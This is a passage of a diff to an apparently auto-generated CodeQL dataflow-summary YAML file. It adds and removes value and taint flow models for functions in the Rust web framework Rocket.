["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::ext::CancellableIo::io].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[2]", "ReturnValue.Field[crate::ext::CancellableIo::grace]", "value", "dfc-generated"] @@ -88,6 +136,18 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::ext::Join::a]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::ext::Join::b]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::info", "Argument[self].Field[crate::fairing::ad_hoc::AdHoc::name]", "ReturnValue.Field[crate::fairing::info_kind::Info::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_ignite", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_ignite", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_liftoff", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_liftoff", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_request", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_request", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_response", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_response", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_response", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_shutdown", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_shutdown", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_ignite", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_liftoff", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_request", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] @@ -101,7 +161,11 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_error", "Argument[0].Field[crate::form::error::Error::kind].Field[crate::form::error::ErrorKind::Custom(0)]", "Argument[self].Field[crate::form::context::Context::status]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::status", "Argument[self].Field[crate::form::context::Context::status]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[0].Field[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::form::context::Contextual::context]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::error::Error::kind]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::set_entity", "Argument[0]", "Argument[self].Field[crate::form::error::Error::entity]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::status", "Argument[self].Field[crate::form::error::Error::kind].Field[crate::form::error::ErrorKind::Custom(0)]", "ReturnValue", "value", "dfc-generated"] @@ -119,6 +183,7 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::error::ErrorKind::Custom(1)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::error::Errors(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::error::Errors(0)]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -131,6 +196,8 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue.Field[crate::form::field::ValueField::value]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::shift", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::form::Form(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::form::Form(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -138,6 +205,8 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::form::form::Form(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::lenient::Lenient(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::lenient::Lenient(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -149,15 +218,19 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[1]", "ReturnValue.Field[crate::form::name::buf::NameBuf::right]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[crate::form::name::view::NameView::name].Element", "ReturnValue.Field[crate::form::name::buf::NameBuf::left].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::name::buf::NameBuf::left]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::name::key::Key(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_str", "Argument[self].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::name::name::Name(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_str", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_str", "Argument[self].Field[crate::form::name::name::Name(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::borrow", "Argument[self].Field[crate::form::name::view::NameView::name].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_name", "Argument[self].Field[crate::form::name::view::NameView::name].Element", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::parent", "Argument[self].Field[crate::form::name::view::NameView::name].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::shift", "Argument[self].Field[crate::form::name::view::NameView::end]", "Argument[self].Reference.Field[crate::form::name::view::NameView::start]", "value", "dfc-generated"] @@ -167,6 +240,8 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::form::parser::RawStrParser::buffer]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::form::parser::RawStrParser::source]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::strict::Strict(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::strict::Strict(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -184,12 +259,18 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::path", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::take_file", "Argument[self].Field[1]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::take_file", "Argument[self].Field[crate::fs::named_file::NamedFile(1)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::handle", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::handle", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::handle", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::fs::server::FileServer::options]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::rank", "Argument[0]", "Argument[self].Field[crate::fs::server::FileServer::rank]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::rank", "Argument[0]", "ReturnValue.Field[crate::fs::server::FileServer::rank]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::rank", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::len", "Argument[self].Field[crate::fs::temp_file::TempFile::File::len].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::len", "Argument[self].Field[crate::fs::temp_file::TempFile::File::len].Reference", "ReturnValue", "value", "dfc-generated"] @@ -214,6 +295,7 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::remote", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::_cookies", "Argument[self].Field[crate::local::asynchronous::response::LocalResponse::cookies]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::_response", "Argument[self].Field[crate::local::asynchronous::response::LocalResponse::response]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::_test", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::_with_raw_cookies", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] @@ -226,25 +308,43 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::local::blocking::request::LocalRequest::client]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::private_cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::remote", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::_cookies", "Argument[self].Field[crate::local::blocking::response::LocalResponse::inner].Field[crate::local::asynchronous::response::LocalResponse::cookies]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[0]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[0]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::and_then", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::and_then", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::and_then", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] @@ -287,6 +387,7 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_forward", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_forward", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_forward", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::pin", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::succeeded", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::success_or", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::success_or", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] @@ -308,14 +409,17 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[2]", "ReturnValue.Field[crate::request::request::Request::uri]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::remote", "Argument[self].Field[crate::request::request::Request::connection].Field[crate::request::request::ConnectionMeta::remote]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::rocket", "Argument[self].Field[crate::request::request::Request::state].Field[crate::request::request::RequestState::rocket]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::routed_segments", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::set_uri", "Argument[0]", "Argument[self].Field[crate::request::request::Request::uri]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::uri", "Argument[self].Field[crate::request::request::Request::uri]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::max_chunk_size", "Argument[self].Field[crate::response::body::Body::max_chunk]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::preset_size", "Argument[self].Field[crate::response::body::Body::size]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::set_max_chunk_size", "Argument[0]", "Argument[self].Field[crate::response::body::Body::max_chunk]", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket", "::take", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::to_bytes", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_sized", "Argument[1]", "ReturnValue.Field[crate::response::body::Body::size]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_unsized", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::debug::Debug(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::error", "Argument[0]", "ReturnValue.Field[crate::response::flash::Flash::inner]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::response::flash::Flash::kind]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::response::flash::Flash::message]", "ReturnValue.Field[1]", "value", "dfc-generated"] @@ -324,7 +428,6 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::response::flash::Flash::inner]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::success", "Argument[0]", "ReturnValue.Field[crate::response::flash::Flash::inner]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::warning", "Argument[0]", "ReturnValue.Field[crate::response::flash::Flash::inner]", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[self].Field[crate::response::response::Builder::response]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::header_adjoin", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::join", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -333,7 +436,6 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::merge", "Argument[0].Field[crate::response::response::Response::body]", "ReturnValue.Field[crate::response::response::Builder::response].Field[crate::response::response::Response::body]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::merge", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::response::response::Builder::response]", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok", "Argument[self].Field[crate::response::response::Builder::response]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::raw_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::raw_header_adjoin", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::sized_body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -353,7 +455,6 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::tagged_body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::bytes::ByteStream(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::one::One(0)].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket", "::poll_next", "Argument[self].Field[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::reader::ReaderStream::stream]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::event", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::id", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -366,6 +467,11 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::sse::EventStream::stream]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::heartbeat", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::text::TextStream(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", 